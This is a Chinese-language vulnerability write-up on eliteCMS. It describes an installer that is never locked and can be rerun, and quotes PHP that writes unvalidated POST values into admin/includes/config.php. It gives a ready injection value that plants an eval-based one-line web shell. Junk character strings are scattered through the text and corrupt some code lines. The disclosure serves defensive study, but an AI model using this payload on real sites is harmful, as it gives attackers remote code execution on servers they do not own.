eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装
2 j1 g$ ]  m2 P! P0 [
" @* ?( e! t2 `# ~另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
9 W: s8 T$ b; g" I& H4 H7 ?我们来看代码：

...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
( B3 f6 E# V5 U) ^" d  u    $write = "<?php\n";
; {! l/ h, ^% ]5 d& B) P( P3 K7 j- C    $write .= "/**\n";
5 Z) I4 q9 G5 k" n1 e3 \& j    $write .= "*\n";
1 c- ~2 f; v# E' @0 Q" M    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
* X1 X# U7 [0 H) o...略...
8 l, G  s. ]% Z9 g! o    $write .= "*\n";
    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
& i( _5 C5 i) j( |' k5 q1 E    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
. ]+ y6 i1 y! U7 K! J% n' ~    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
7 Z" r: o6 g7 f2 }/ y( Y' |3 h    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
+ k. b* d  y8 ?5 V, R. _4 }    $write .= "if (!\$connection) {\n";
+ p, m$ u& L6 c+ z! Z    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
! P: C6 B2 u) R, f# z4 |* G" X/ N5 T    $write .= "        die(\"Database select failed\" .mysql_error());\n";
* {* C; w5 ~' `- I    $write .= "        \n";
    $write .= "} \n";
6 g4 ~0 e/ M' G! w2 J5 `- E) X' s4 N    $write .= "?>\n";

" {# @7 V+ T# F) O    $writer = fopen($file, 'w');
" W& f3 C9 X6 g( L0 y/ ~7 J...

在看代码：

1 C$ d7 ?8 R$ ]3 o( s. q/ V$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
4 g3 f! a$ m4 c" q+ a如果将数据库名POST数据：

2 |" N' s7 A5 ]8 P. U3 C6 d"?><?php eval($_POST[c]);?><?php
; {+ J+ F" F/ u2 _! \7 a( C* `
9 A9 L! S9 f- W9 |将导致一句话后门写入/admin/includes/config.php